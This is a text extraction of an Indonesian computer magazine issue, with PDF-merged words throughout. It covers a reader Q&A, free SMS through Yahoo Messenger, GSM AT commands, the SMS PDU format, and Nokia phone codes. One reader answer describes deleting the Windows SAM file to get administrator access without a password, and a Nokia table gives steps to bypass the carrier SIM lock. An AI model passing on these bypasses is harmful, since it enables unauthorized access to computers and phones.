    nah didalam direktori configada file dengan nama SAM.Hapus file tersebut (SAM),restart komputer anda dananda masuk ke windows se-bagai administrator tanpapassword. Kalo anda meng-gunakan system partisiNTFS,boot komputer denganCD win 2000 or winxp, padasaat boot dari CDROM danakhirnnya muncul pilihanpada menu utama pilih repairwindows lalu ikuti langkah-

    nya sampai masuk ke c:\.Lakukan hal yang sama se-

    perti di atas hapus file SAMpada direktori config dan re-start komputer. Semogabermanfaat.....

    [email protected]

    T: Posted May 17

    saya punya mainboardGFXcel vga onboardnyaterdetect sis 630\730 tapi

    saat saya install drivernya..layar tdk berubah masihtetap 16 color , rencana sa-ya pengen mematikan vgaonboardnya biar saya bisapasang VGA PCI, sayang-nya manual booknya hilangentah kemana .

    Bagaimana cara mematikan-nya ?? mohon sarannyadong ?????

    [email protected]

    J: Posted May 17masuk ke bios---> cari set-tingan vga on board (biasa-nya di peripheral (or some-thing sound like that!!) pi-lih disable. Trus cari optiondimana check pertama untukvga adalah PCI bukan AGP.It's all about BIOS man.....

    Subiakto [email protected]

    T: Posted May 17

    Haloo Neoteker

    Saya masih baru dalam bi-dang IT, jadi di perusahaansaya telah membeli ciscorouter type 2600, namunsaya tidak bisa mengkonfi-gurasi router tersebut mela-lui PC yang lain. Tolongbantuan, gimana caranyamengkoneksikan PC denganRouter dan menset IP Ad-dress serta modem darirouter tsb?Terima kasih atas perhatiaanya

    Wahyu Ahadi [email protected]

    J: Posted May 17

    Sebaiknya anda gunakan ka-bel consul dari router terse-but,gunakan hyperterminal.Nah dari consul tersebut,akan kelihatan yang mau diconf itu apakah serial atau ethdari router [email protected]

    T: Posted May 23Mohon bagi artikel dong,Bisa bagi artikel yang lama-lama untuk belajar sayakanbaru, bisa dikirim keemailku?

    Vico [email protected]

    J: Posted May 23

    Artikel apa? Kalo mau artikelartikel lama di neotek,main-main dong ke neotek.co.iddisana kamu bisa dapetin se-

    mua file pdf majalah neotekedisi lengkap dari tahun per-tama hingga ke tiga.Serta be-berapa artikel dari majalah-majalah neotek edisi baru.Kalo mau berlajar komputerbeneran, cari artikelnya (pdfjuga, kamu butuh acrobatreader buat bacanya) jalan-jalan ke ilmukomputer.com(situs e-learnimg gratisan ter-baik di indonesia,menurutsaya).Trus download deh se-mau kamu, atau cari CDnya

    di distro terdekat dikota ka-mu, murah kok cuma goceng!Artikel-artikel dari milis ini(arsip/kumpulan imel lama)?Cari di yahoogroups.com, lo-gin, trus main ke seksi maja-lahneoteknya trus baca-bacadeh.Bukan artikel-artikel itu??? Yacari-cari aja di google.com!yakinlah kalo kata kuncinyabenar, pasti ketemu!

    [email protected]

  • 8/9/2019 NeoTek Vol. IV - No. 08

    10/50

    NeoStart

    Vol. IV No. 08 NeoTek 9

    3 LOGINJika anda telah memiliki yahooaccount email, masukkan Yahoo IDanda beserta password-nya. Jika ti-dak memiliki account email di Ya-hoo, maka anda diwajibkan untukmendaftar sebagai New user. Kliktombol Get a Yahoo ID.

    IAPA SIH YANG GAK MAU? BEGITULAHfasilitas SMS gratis banyak dicariorang. Siapa yang tidak kesemsem

    dengan fasilitas tersebut karena bisa iritpulsa. Sekarang ini, situs yang menyedia-kan fasilitas pengiriman SMS gratis sudahsulit untuk dijumpai.

    Jangan sedih dahulu, Yahoo! Messengger

    yang kita kenal sebagai program chat dariYahoo ternyata menyediakan fasilitas pe-ngiriman SMS gratis. Bukan itu saja, pene-rima SMS yang dikirim juga bisa membalasSMS anda. Tentu saja balasannya dikirimke akses Yahoo Messengger anda.

    Ingin tahu caranya? Ikutin artikel berikut.

    KKIIRRIIM SM SMMS GS GRRAATTIISS

    AKSAKSEES MS MEELLALUALUII

    YYAHAHOOO! MO! MEESSSSEENNGGEERRSusah mendapatkan account SMS gratis? MA Rody Candera([email protected]) mengungkapkanYahoo! Messenggermemberikan fasilitas kirim SMS gratis. SMS dikirim langsungke handphone dan penerima pun bisa membalasnya.

    S

    ADD A MOBILE FRIEND

    Klik tombol yang bergambarponsel dengan tulisan dibawahnyaMobile. Klik sekali saja maka andaakan dihantar sebuah pop menu,silakan isi kemudian klik tombol

    Add to Mobile Friends.

    MENGIRIM SMS

    Tuliskan pesanyang ingin andakirimkan di bagian baris ketik

    yang ada di bawah dan karakterdibataskan sejumlah 153 saja.Untuk mengirimkan pesan

    tersebut klik tombol Send.

    INSTALASI YAHOO! MESSENGGERSyarat yang utama yaitu komputeranda telah ter-instal Yahoo Mes-senger, jika belum silakan down-load di www.yahoo.com kemudianikuti arahan yang selanjutnyaakan anda temui nantinya.

    AKTIFKANSetelah instalasi selesai, aktifkanprogram Yahoo! Messengger.Ada banyak cara untuk meng-aktifkan Yahoo Messenger, carapaling cepat dengan double clickikon Yahoo! Messengger ditaksbar bagian ujung kanan.

    1

    4 5

    2

    Ngirim SMS tanpa harus bayar...

    CEK N RICEK

    Apakah benar pesan telah dikirim-kan dan sampai kepada tujuan?

    Ternyata benar-benar sampai, bah-kan penerima SMS anda dapatmembalas SMS yang anda kirim-

    kan tadinya.

    6

    just

    SMS yang dikirim

    melalui Yahoo!

    Messengger

    Konfirmasi jika

    SMS dapat di reply

  • 8/9/2019 NeoTek Vol. IV - No. 08

    11/50

    NeoStart

    10 NeoTek Vol. IV No. 08

    T COMMANDS DIGUNAKAN UNTUK MELAKUKAN KOMU-nikasi dengan modem. Standar AT commandsyang lazim digunakan adalah AT commands pada

    kom-patibel modem Hayes. Ponsel pada dasarnya adalahmodem, sehingga AT command pun berlaku pada ponsel.AT commands untuk ponsel ditetapkan dengan adanyastandar GSM 07.07 dan GSM 07.05.

    Dengan menggunakan kabel data yang tersedia pada masing-masing jenis dan merk ponsel, kita dapat 'berkomunikasi'dengan ponsel melalui PC. Dengan utility built-in dari

    Windows yaitu Hyper Terminal kita sudah dapat mengo-rek informasi ponsel melalui sebuah kabel data ataupunmelalui saluran komunikasi infra merah.

    Mari kita coba melakukan koneksi ke ponsel melaluikomputer. Start > Programs > Accesories > Communications> Hyper Terminal. Jika belum tersedia Hyper Terminal,masukkan CD Windows dan tambahkan aplikasi HyperTerminal ke Windows Anda. Buatlah koneksi baru dengannama Hyper Terminal. Jika anda menghubungkan ponselke port COM1 pada komputer dengan kabel data, pilihlahport COM1. Jika menggunakan infra merah, pilihlah portCOM yang paling akhir, biasanya COM6.

    Buat koneksi baru dan

    pilih bit per second (bps)yang sesuai dengan ponselAnda. Kebanyakan meng-gunakan bps 19200.

    Lalu kirimkan perintah atuntuk memeriksa koneksi.Jika responnya OK, makakoneksi berhasil dilaku-kan.

    Penggunaan Handphone yang sudah sangat meluas membut anda perlu mengenal hal-hal apa

    saja yang tersembunyi dibaliknya. Bung Ftp_Geo ([email protected]) membahasnya untukmenambah wawasan anda terhadap dinamika dunia ponsel.

    A

    Menguak Rahasia PMenguak Rahasia Ponselonsel

    Jika menggunakan DOS, anda dapat menggunakan Telix(http://www.telix.com). Sedangkan di linux, bisa menggunakanminicom (http://freshmeat.net/projects/minicom).

    SSMMS DS DAN GAN GSSM HAM HACCKKIINNGG

  • 8/9/2019 NeoTek Vol. IV - No. 08

    12/50

    Daftar perintah-perintah modem GSM bisa didapat darivendor masing-masing ponsel. Dapat juga cari atau tanyadi www.forumponsel.com. Perintah-perintah dasar ATuntuk GSM bersifat standar, namun beberapa vendor me-nambahkan perintah AT yang hanya bisa dijalankan padaproduk mereka. Dalam contoh ini saya menggunakan daf-tar perintah AT yang saya dapat dari Siemens, berupa se-buah file .pdf yang berisi daftar perintah AT standar dantambahan khusus Siemens.

    Apa untungnya menggunakan AT command? Dengan ATcommand, anda dapat mengotomatisasi tugas pada ponselanda. Mulai dari pengiriman dan manajemen penerimaanSMS, sampai pada manajemen phonebook. Singkatnya,

    anda dapat mengendalikan sendiri semua fitur yang ter-sedia pada ponsel.

    Apakah AT commands saja cukup? Kita masih me-merlu-kan satu piranti lagi untuk dapat mengotomatisasi tugaspada ponsel. Kita membutuhkan bahasa pemrogramanyang dapat berkomunikasi dengan port COM pada PC.

    Dengan bahasa pemrograman tersebut, kita dapat meng-hantarkan perintah-perintah AT dari PC ke ponsel.

    Umumnya, bahasa pemrograman sudah memiliki kemam-puan untuk dapat melakukan komunikasi dengan port ko-munikasi pada PC (COM1, COM2, dst), walaupun mungkinharus menggunakan modul atau library tertentu. Java me-merlukan paket tambahanjavacomm.

    Adapun ActivePerl pada Windows menggunakan modulWin32::SerialPort-0.19 yang memerlukan instalasi modulWin32::API terlebih dahulu (http://dada.perl.it/). PadaVisual Basicjuga telah tersedia komponent MS Commu-nication Control.

    Berikut ini beberapa contoh AT commands untuk GSMyang umum digunakan (perintah selengkapnya terdapatpada file .pdf yang disertakan dalam CD Neotek).

    NeoStart

    Vol. IV No. 08 NeoTek 11

    PERINTAH FUNGSI

    AT+CGMI Menampilkan kode manufaktur (pabrik pembuat)AT+CGMM Menampilkan model ponselAT+CGMR Menampilkan versi software ponsel

    AT+CGSN Menampilkan nomor IMEIAT+GSN Menampilkan nomor IMEIAT+CHUP Menutup percakapanAT+CEER Menampilkan sebab terputusnya koneksi terakhirAT+CREG Registrasi jaringanAT+COPS Registrasi jaringanAT+CPBS Memilih buku telepon (SIM atau mobile)AT+CPBR Membaca isi buku teleponAT+CPBW Menambah isi buku teleponAT+CSMS MemilihAT+CPMS Memilih memori penyimpanan SMSAT+CMGF Memilih format SMS (teks atau PDU)AT+CSCA Menampilkan nomor message center yg digunakanAT+CNMI Menampilkan SMS baruAT+CMGL Menampilkan daftar SMS

    AT+CMGR Membaca SMSAT+CMGS Mengirim SMSAT+CMSS Mengirim SMS dari memoriAT+CMGW Menulis SMS ke memoriAT+CMGD Menghapus SMS di memoriAT+CMGC Mengirimkan perintah SMS

  • 8/9/2019 NeoTek Vol. IV - No. 08

    13/50

    NeoStart

    12 NeoTek Vol. IV No. 08

    ELEPON GENGGAM ATAU BIASA KITA SEBUT DENGAN

    handphone, bukanlah barang baru lagi. Penggu-nanya sudah begitu meluas sebagai alat komuni-

    kasi yang praktis, dalam arti kata bisa dibawa kemana-mana. Tidak saja orang dewasa, bahkan anak-anak mudapun tidak ketinggalan. Tidak saja untuk kepentinganbisnis melainkan juga untuk urusan pribadi.

    Perkembangan teknologi handphone melaju pesat, terlihat

    dari begitu diminatinya handphone oleh masyarakat duniasehingga menimbulkan tingkat persaingan yang tinggiantar produsen handphone seperti Nokia, Motorola,Siemens, dan lain-lain. Untuk meraih pangsa pasar merekamembuat handphone semakin beraneka ragam dalam ben-tuk maupun fungsi yang disediakan.

    Pada awalnya handphone dibuat dengan teknologi analogyang kemudian berkembang menjadi teknologi digital.Kemampuannya tidak hanya sebagai alat komunikasi se-perti telepon reguler, melainkan sudah memiliki fungsisebagai kamera, untuk mengakses internet, dan lain seba-gainya. Teknologi yang tadinya ditujukan untuk kompu-ter, kini ditujukan juga kepada handphone yang menjadi-kannya suatu komputer mini yang memiliki kemampuan

    komputer pada umumnya. Kini dengan masuknya produ-sen komputer ke kancah persaingan handphone, semakinmenambah warna-warni teknologi handphone.

    Artikel ini merupakan suatu pengantar karena banyak halyang penting untuk diketahui mengenai handphone.Tuju-annya adalah tidak lain agar kita setidaknya mengetahuiseluk-beluk yang terhadap dalam handphone hingga tidakhanya menjadi pengguna pasif saja. Berdasarkan penga-laman penulis, pengguna pasif terkadang menjadi korbanpengguna aktif yang lebih banyak memahami seluk-belukhandphone.

    SMS (Short Message Service)

    Fasilitas ini siapa yang tidak tahu, pengguna handphonepasti pernah memanfaatkannya atau barangkali selalumemanfaatkannya karena biayanya lebih murahdibanding menghubungi secara langsung (penghematanpulsa :). Ketika mengirim dan menerima SMS, apa kitatahu sebenarnya bagaimana proses yang terjadi dibalikitu? Nah..., tidak salah kita mengetahui bagaimana sistemkerja di balik SMS ini.

    Pesan SMS merupakan ditetapkan oleh ETSI (EuropeanTelecommunication Standards Institute) sebagai dokumenpada GSM 03.40 dan GSM 03.38 yang bisa berisi textsampai di atas 160 karakter (standar karakter umumnya160) dimana masing-masing karakter dihitung dengannilai 7 bit (lihat tabel default alphbet7-bit).

    bSelain yang 7-bit, ada juga pesan SMS dengan nilai 8-bittetapi karakter dibataskan pada 140 dan digunakan untuk

    gambar dan ringtone. Pesan SMS 16-bit memilikimaksimal karakter sejumlah 70 yang digunakan untuk'Flash SMS'

    PDU (Protocol Description Unit) Format

    Ada 2 cara untuk mengirim dan menerima pesan SMS,yaitu 'Text mode' dan 'PDU mode'. Menerima pesan da-lam bentuk mode PDU berisi PDU string yang tidak hanyaberisi pesan saja tetapi juga berisi mengenai pengirimpesan seperti 'SMS Service Centre', 'waktu penerimaanpesan', dan lain sebagainya. Seperti yang digambarkanberikut, string PDU dari pesan SMS yang diterima olehNokia 8250 dengan isi pesan SMS yaitu 'Okay!'.

    AT Commands

    Merupakan media komunikasi antara handphone dankomputer untuk menulis, mengirim, dan membaca SMS,

    maupun menjadikan handphone sebagai modem untukhubungan koneksi ke HSCD atau GPRS. Antara hand-phone dan komputer diperlukan kabel data.

    Memulai AT Commands, dapat melalui program khususatau menggunakan program 'HyperTerminal' yang sudahbuilt-in pada Microsoft Windows. Dan jangan lupahandphone telah tersambung dengan kabel data yangterhubung ke komputer

    AT Commands diawali dengan 'AT' dan maksimal terdiridari 140 karakter. Berikut pada Tabel-tabel 3 sampai 10merupakan tabel-tabel AT Commands.

    Seperti telah disinggung pada point PDU Format, PDUString dari pesan SMS yang diterima Nokia 8520 yaitu:

    059126181642240C9126185567206300004040521252858205CF75381F02

    Melanjutkan pengantar mengenai handphone, MA Rody Candera ([email protected])membahas lebih rinci lagi mengenai format SMS serta AT commands yang biasa terdapat pada

    modem. Handphone sekarang hampir semuanya merupakan suatu modem juga, bukan?

    T

    SMS, PSMS, PDU, dan ADU, dan AT CommandsT CommandsSSMMS DS DAN GAN GSSM HAM HACCKKIINNGG

    Tabel 2. PDU String

    Octet(s) Deskripsi

    05 Panjang informasi mengenai SMSC91 Type alamat SMSC (91 adalah format

    nomor telephone Internasional)26181642240C Nomor pusat service91 Octet pertama pada pengiriman

    pesan SMS26 Panjang alamat nomor pengirim18 Type alamat nomor pengirim55672063 Nomor pengirim00 TP-PID (Protocol Identifier)00 TP-DCS (Data Coding Scheme)404052125285820 TP-SCTS (Time Stamp)5C TP-UDL, panjang data pesanF75381F02 TP-UD, pesan SMS yang berisi 'Okay!'

  • 8/9/2019 NeoTek Vol. IV - No. 08

    14/50

    NeoStart

    Vol. IV No. 08 NeoTek 13

    Hex Dec Nama Karakter karakter ISO-8859-1DEC Hex Dec Nama Karakter karakter ISO-8859-1DEC

    0x00 0 commercial at @ 640x01 1 pound sign 1630x02 2 dollar sign $ 360x03 3 yen sign 1650x04 4 latin small letter e with grave 232

    0x05 5 latin small letter e with acute 2330x06 6 latin small letter u with grave 2490x07 7 latin small letter i with grave 2360x08 8 latin small letter o with grave 2420x09 9 latin capital letter c with cedilla 1990x0A 10 line feed 100x0B 11 latin capital letter o with stroke 2160x0C 12 latin small letter o with stroke 2480x0D 13 carriage return 130x0E 14 latin capital letter a with ring above 1970x0F 15 latin small letter a with ring above 2290x10 16 greek capital letter delta 0x11 17 low line _ 950x12 18 greek capital letter phi 0x13 19 greek capital letter gamma

    0x14 20 greek capital letter lambda

    0x15 21 greek capital letter omega 0x16 22 greek capital letter pi 0x17 23 greek capital letter psi 0x18 24 greek capital letter sigma 0x19 25 greek capital letter theta 0x1A 26 greek capital letter xi 0x1B 27 escape to extension table0x1B0A 27 10 form feed 120x1B14 27 20 circumflex accent ^ 940x1B28 27 40 left curly bracket { 1230x1B29 27 41 right curly bracket } 1250x1B2F 27 47 reverse solidus (backslash) \ 920x1B3C 27 60 left square bracket [ 910x1B3D 27 61 tilde ~ 1260x1B3E 27 62 right square bracket ] 93

    0x1B40 27 64 vertical bar | 1240x1B65 27 101 euro sign 164 (ISO-8859-15)0x1C 28 latin capital letter ae 1980x1D 29 latin small letter ae 2300x1E 30 latin small letter sharp s (german) 2230x1F 31 latin capital letter e with acute 2010x20 32 space 320x21 33 exclamation mark ! 330x22 34 quotation mark " 340x23 35 number sign # 350x24 36 currency sign 164 (ISO-8859-1)0x25 37 percent sign % 370x26 38 ampersand & 380x27 39 apostrophe ' 390x28 40 left parenthesis ( 40

    0x29 41 right parenthesis ) 410x2A 42 asterisk * 420x2B 43 plus sign + 430x2C 44 comma , 440x2D 45 hyphen-minus - 450x2E 46 full stop . 460x2F 47 solidus (slash) / 470x30 48 digit zero 0 480x31 49 digit one 1 490x32 50 digit two 2 500x33 51 digit three 3 510x34 52 digit four 4 520x35 53 digit five 5 530x36 54 digit six 6 540x37 55 digit seven 7 550x38 56 digit eight 8 56

    0x39 57 digit nine 9 570x3A 58 colon : 58

    0x3B 59 semicolon ; 590x3C 60 less-than sign < 600x3D 61 equals sign = 610x3E 62 greater-than sign > 620x3F 63 question mark ? 63

    0x40 64 inverted exclamation mark 1610x41 65 latin capital letter a A 650x42 66 latin capital letter b B 660x43 67 latin capital letter c C 670x44 68 latin capital letter d D 680x45 69 latin capital letter e E 690x46 70 latin capital letter f F 700x47 71 latin capital letter g G 710x48 72 latin capital letter h H 720x49 73 latin capital letter i I 730x4A 74 latin capital letter j J 740x4B 75 latin capital letter k K 750x4C 76 latin capital letter l L 760x4D 77 latin capital letter m M 770x4E 78 latin capital letter n N 78

    0x4F 79 latin capital letter o O 790x50 80 latin capital letter p P 800x51 81 latin capital letter q Q 810x52 82 latin capital letter r R 820x53 83 latin capital letter s S 830x54 84 latin capital letter t T 840x55 85 latin capital letter u U 850x56 86 latin capital letter v V 860x57 87 latin capital letter w W 870x58 88 latin capital letter x X 880x59 89 latin capital letter y Y 890x5A 90 latin capital letter z Z 900x5B 91 latin capital letter a with diaeresis 1960x5C 92 latin capital letter o with diaeresis 2140x5D 93 latin capital letter n with tilde 2090x5E 94 latin capital letter u with diaeresis 220

    0x5F 95 section sign 1670x60 96 inverted question mark 1910x61 97 latin small letter a a 970x62 98 latin small letter b b 980x63 99 latin small letter c c 990x64 100 latin small letter d d 1000x65 101 latin small letter e e 1010x66 102 latin small letter f f 1020x67 103 latin small letter g g 1030x68 104 latin small letter h h 1040x69 105 latin small letter i i 1050x6A 106 latin small letter j j 1060x6B 107 latin small letter k k 1070x6C 108 latin small letter l l 1080x6D 109 latin small letter m m 109

    0x6E 110 latin small letter n n 1100x6F 111 latin small letter o o 1110x70 112 latin small letter p p 1120x71 113 latin small letter q q 1130x72 114 latin small letter r r 1140x73 115 latin small letter s s 1150x74 116 latin small letter t t 1160x75 117 latin small letter u u 1170x76 118 latin small letter v v 1180x77 119 latin small letter w w 1190x78 120 latin small letter x x 1200x79 121 latin small letter y y 1210x7A 122 latin small letter z z 1220x7B 123 latin small letter a with diaeresis 2280x7C 124 latin small letter o with diaeresis 2460x7D 125 latin small letter n with tilde 241

    0x7E 126 latin small letter u with diaeresis 2520x7F 127 latin small letter a with grave 224

    Tabel 1. Default Alfabet 7-bit

  • 8/9/2019 NeoTek Vol. IV - No. 08

    15/50

    NeoStart

    14 NeoTek Vol. IV No. 08

    Tabel 3. Call ControlATA Answer CommandATD Dial CommandATH Hang Up CallATL Monitor Speaker LoudnessATM Monitor Speaker ModeATO Go On-LineATP Set Pulse Dial as DefaultATT Set Tone Dial as DefaultAT+CSTA Select Type of Address

    AT+CRC Cellular Result Codes

    Tabel 4. Data Card Control CommandsATI IdentificationATS Select an S-registerATZ Recall Stored ProfileAT&F Restore Factory SettingsAT&V View Active ConfigurationAT&W Store Parameters in Given ProfileAT&Y Select Set as s Powerup OptionAT+CLCK Facili ty Lock CommandAT+COLP Connected Line Identification PresentationAT+GCAP Request Complete Capabilities ListAT+GMI Request Manufacturer IdentificationAT+GMM Request Model IdentificationAT+GMR Request Revision IdentificationAT+GSN Request Product Serial Number Identification

    Tabel 5. Phone Control CommandsAT+CBC Battery ChargeAT+CGMI Request Manufacturer IdentificationAT+CGMM Request Model IdentificationAT+CGMR Request Revision IdentificationAT+CGSN Request Product Serial Number IdentificationAT+CMEE Report Mobile Equipment ErrorAT+CPAS Phone Activity Status

    AT+CPBF Find Phone Book EntriesAT+CPBR Read Phone Book EntryAT+CPBS Select Phone Book Memory StorageAT+CPBW Write Phone Book EntryAT+CSCS Select TE Character SetAT+CSQ Signal Quality

    Tabel 7. Network Communication Parameter CommandsATB Communications Standard OptionAT+CBST Select Bearer Service TypeAT+CEER Extended Error ReportAT+CRLP Radio Link ProtocolAT+DS Data Compression

    Tabel 8. Miscellaneous CommandsA/ Re-Execute Command LineAT? Command HelpAT*C Start SMS InterpreterAT*T Enter SMS Block Mode ProtocolAT*V Activate V.25bis ModeAT*NOKIATEST Test CommandAT+CESP Enter SMS Block Mode Protocol

    Tabel 9. SMS Commands SMS Text Mode

    AT+CSMS Select Message ServiceAT+CPMS Preferred Message StorageAT+CMGF Message FormatAT+CSCA Service Centre AddressAT+CSMP Set Text Mode ParametersAT+CSDH Show Text Mode ParametersAT+CSCB Select Cell Broadcast Message TypesAT+CSAS Save SettingsAT+CRES Restore SettingsAT+CNMI New Message Indications to TEAT+CMGL List MessagesAT+CMGR Read MessageAT+CMGS Send MessageAT+CMSS Send Message from StorageAT+CMGW Write Message to MemoryAT+CMGD Delete Message

    Tabel 6. Computer Data Card Interface CommandsATE Command EchoATQ Result Code SuppressionATV Define Response FormatATX Response Range SelectionAT&C Define DCD UsageAT&D Define DTR UsageAT&K Select Flow ControlAT&Q Define Communications Mode OptionAT&S Define DSR OptionAT+ICF DTE-DCE Character FramingAT+IFC DTE-DCE Local Flow ControlAT+IPR Fixed DTE RateAT+CLIP Calling Line Identification PresentationAT+CR Service Reporting ControlAT+DR Data Compression ReportingAT+ILRR DTE-DCE Local Rate Reporting

    Gambar 2: Tampilan HyperTerminal pada MS Windows XP

    Gambar 1: Hyperterminal, Built-In di MS. Windows

  • 8/9/2019 NeoTek Vol. IV - No. 08

    16/50

    didapat dari memanfaatkan AT Commands pada hyper-terminal, perhatikan Gambar 3.

    Jika dilakukan convert PDU String tersebut, maka akanterlihat pada Gambar 4.

    SMS Fake Sender

    Dinamakan begitu karena dapat keusilan yang dihasilkandapat membuat jengkel orang yang menjadi korbannya.Fake SMS merupakan SMS yang dapat berupa pesan unik

    atau bahkan menjijikkan. Menjijikkan karena ada beberapaSMS Fake memiliki tingkat bahaya yang harus diwaspa-dai. Yang menjadi target tentu handphone.

    Apakah anda pernah menerima pesan SMS dalam jumlahpaket yang sangat banyak (lebih dikenal dengan istilahSMS Bomb) dan dalam waktu yang bersamaan? Efek yangditimbulkan terhadap handphone dengan menerima pesanSMS dalam jumlah paket yang banyak tersebut membuathandphone menjadi crash atau bila mungkin yang palingmengenaskan membuat handphone menjadi rusak dantidak berguna. Efek tersebut dikarenakan quota yangdimiliki sebuah handphone untuk menampung pesan SMSyang masuk terbatas. Jika tidak menimbulkan kerusakanberarti, yang menjadi masalah adalah menghapus pesanSMS tersebut. Bayangkan jika anda menghapus 5000pesan SMS, memungkinkan tidak ya?

    Penipuan yang dilakukan menggunakan handphone dapatdimasukkan kedalam kategori Fake SMS. Penipuan inimakin meluas sekarang, berhati-hatilah!

    Pernah mendengar virus yang menyerang Nokia seri 33xx?Virus tersebut pertama kali ditemukan oleh ilmuwanBelanda, dimana virus yang ciptakannya didasarkan bebe-rapa penelitian terhadap handphone Nokia seri 33xx yangmenghasilkan report mengenai bug yang terdapat pada

    handphone tersebut.Dalam perkembangan virus handphone mengalami kema-juan yang menunjukkan hasil yang menakutkan karenamemiliki daya perusak yang hebat, dan kebanyakan virustersebut dibuat menggunakan VBScript.

    Contoh virus handphone yang pernah menjadi bahanperbincangan antara lainnya seperti Hoax dan Timofonica.Virus tersebut dikirim kepada target sebagai pesan SMSdan jika di terima bisa saja membuat anda terpaksa mema-sukkan pembelian handphone baru pengganti pada ang-garan belanja anda. Tetapi, benarkah virus handphone ituada? Masih menjadi perbincangan antara pro dan kontra.

    Nokia CodesNokia dengan mottonya Connecting People memiliki peng-guna yang banyak untuk market di Indonesia hinggadikenal sebagai handphone Sejuta Umat. Itu sebuah ejek-an atau tidak, tapi terbukti Nokia menjadi pilihan ter-banyak.

    Disamping harganya terbilang cepat turun, juga sangatmudah penggunaannya. Model yang dimiliki tidak ter-tinggal dengan model handphone merek lainnya.

    Setiap handphone memiliki kode-kode tersendiri, yangakan disinggung disini hanya kode-kode yang terdapatpada Nokia, itupun tidak seluruhnya. Pengetahuan akankode-kode tersebut penting diketahui karena kita dituntut

    untuk mengenal dengan baik atas apa-apa yang miliki.Untuk mengetahui lebih banyak mengenai kode-kode hand-phone Nokia, kunjungi http://www.cellphonehacks.com.

    NeoStart

    Vol. IV No. 08 NeoTek 15

    Tabel 10. SMS PDU ModeAT+CMGL List MessagesAT+CMGR Read MessageAT+CMGS Send MessageAT+CMGW Write Message to Memory

    Gambar 3.

    Gambar 4. Tabel 11 Nokia CodesNokia seriJudul Kode deskripsi7110 Service Provider #pw+1234567890+1# Mengunci Service Pro-

    Lock #pw+1234567890+2# vider pada ponsel se-#pw+1234567890+3# hingga ketika ponsel#pw+1234567890+4# dimasukkan kartu lain

    dari operator yang berbeda maka ponsel akanmenolak kartu tersebut.

    3210, 33xx `Menu Extra *#92702689# Menampilkan serial6150, 6210 number, tanggal manu

    7110 facture, tanggal purchase,user data

    16xx, 21xx Bypass Service 1. Masukkan kartu yang Membuka penguncian31xx, 51xx berbeda provider Service Provider pada81xx 2. Aktifkan ponsel, te- ponsel

    kan 'UP' 3 detik, ke-mudian ponsel akanmeminta Pin Code

    3. Tekan key 'C'4. Tekan key '*', tunggu,

    kemudian tekan kem-bali key '*', masukkan04*PIN*PIN*PIN#

    5170i Warranty menu *#92772689# Melihat menu warrantyyang berisi opsi:1. Serial Number2. Date made3. Programming Date

    4. Repaired Date5. Transfer user data6. Life Timer

  • 8/9/2019 NeoTek Vol. IV - No. 08

    17/50

    NeoStart

    16 NeoTek Vol. IV No. 08

    AAT INI, PENGGUNAAN SMS SUDAH SANGAT BERAGAMdan memasyarakat. Tidak sulit menemukan peng-guna ponsel yang sedang asyik melatih jarinya

    menekan keypad untuk mengirimkan SMS. Saya sendiritermasuk yang menggemari fasilitas ini. Tentunya disertaikeinginan untuk mempelajari cara kerja SMS. Pada saatmenekan tombol Send, selalu timbul pertanyaan besarpada diri saya: Bagaimana sebenarnya SMS disampaikan?

    Coba mari kita ikuti tahap-tahap pengiriman SMS. Mulaidari menekan tombol Send, sampai pada saat menerimalaporan status pengiriman (status report) apakah SMStersebut berhasil dikirim atau gagal tak terkirim.

    Ketika anda menekan tombol send untuk mengirimkanSMS dari ponsel, sebenarnya anda sedang mengirimkanpesan dengan format MO (Mobile Originated) ke SMSCenter. Informasi yang terkandung dalam MO antara lain:

    1. Service Center Address (SCA), yaitu nomor SMSC yangdigunakan.

    2. Tipe format PDU (Protocol Data Unit) yang digunakan.

    3. Message Reference (MR).

    4. Destination Address (DA), yaitu berisi nomor tujuan.

    5. Protocol Indetifier (PID).

    6. Data Coding Scheme (DCS) yang menginformasikanenkoding apa yang dipakai oleh MO.

    7. Validity Period (VP) memuat informasi berapa lama SMSharus menunggu di antrian, jika nomor tujuan belummemberikan respon. Mirip (tapi tidak sama) dengan TTL(Time To Live) pada TCP/IP.

    8. User Data Length (UDL) memuat panjang isi pesan SMS.

    9. User Data (UD), nah baru pada segmen kesembilan inilahletak isi pesan SMS sesungguhnya berada.

    Setelah pesan MO ini sampai ke SMSC, maka SMSC akanmemproses lebih lanjut dengan mengirimkan pesan denganformat MT (Mobile Terminated) ke ponsel tujuan. MTtersebut membawa pesan berisi:

    1. Service Center Address (SCA), yaitu nomor SMSC yangdigunakan.

    2. Orginator Address (OA), alamat pengirim.

    3. Protocol Indetifier (PID).

    4. Data Coding Scheme (DCS) yang menginformasikanenkoding apa yang dipakai oleh MT.

    5. Service Center Time Stamp (SCTS) yaitu waktu pengirimandari SMSC.

    6. User Data Length (UDL) memuat panjang isi pesan SMS.7. User Data (UD), memuat isi pesan SMS.

    Namun perlu diketahui bahwa, baik pada format MO mau-pun MT, SMS tidak dikirimkan dalam bentuk teks murni(clear text). SMS menggunakan format data khusus yangdikenal dengan istilah PDU (Procotol Data Unit). PDU sen-diri berbentuk oktet (pasangan) heksadesimal dan oktetsemidesimal. Dengan menguasai format PDU, Anda dapatmengkustomisasi sendiri isi SMS Anda.

    Format Data MO

    Format Data MT

    Badan yang mendefinisikan standar penulisan dan enkodingSMS ini adalah The European Telecommunications Stan-

    dards Institute (ETSI). Bagi Anda yang berminat mendalamilebih jauh tentang standar-standar komunikasi, tidak usahsungkan untuk membuka situs www.etsi.org milik ETSI.

    Untuk mendalami format PDU,anda dapat merujuk padasumber-sumber yang khusus membahas hal tersebut sepertiwww.dreamfabric.com/sms.

    Ada juga software yang dapat mengkonversi PDU ke teks,dan sebaliknya, bernama PDU Spy. Download software inidari www.nobbi.com

    Informasi routingpada umumnyaakan mengikuti

    setting defaultdari operator ja-ringan seluleryang anda guna-kan. Semua SMSyang dikirimkanakan melewatiSMSC ini. DalamSMSC inilahterdapat aplikasibilling yang akanmemeriksaapakah Andamemiliki kredit

    (dikenal denganistilah pulsa)

    Bung Ftp_Geo ([email protected]) melanjutkan pembahasan SMS dengan mengenali format-format data yang digunakan dalam pengiriman pesan SMS. Pengenalan ini penting untuk

    Hacking, yaitu diantaranya SMS Fake Senderdan Mencuri Data Ponsel melalui SMS.

    S

    Mengenal FMengenal Format Data SMSormat Data SMSSSMMS DS DAN GAN GSSM HAM HACCKKIINNGG

    SCA PDU-Type MR DA PID DCS VP UDL UD

    SCA PDU-Type OA PID DCS SCTS UDL UD

    Gambar 1. Tampilan PDU Spy

  • 8/9/2019 NeoTek Vol. IV - No. 08

    18/50

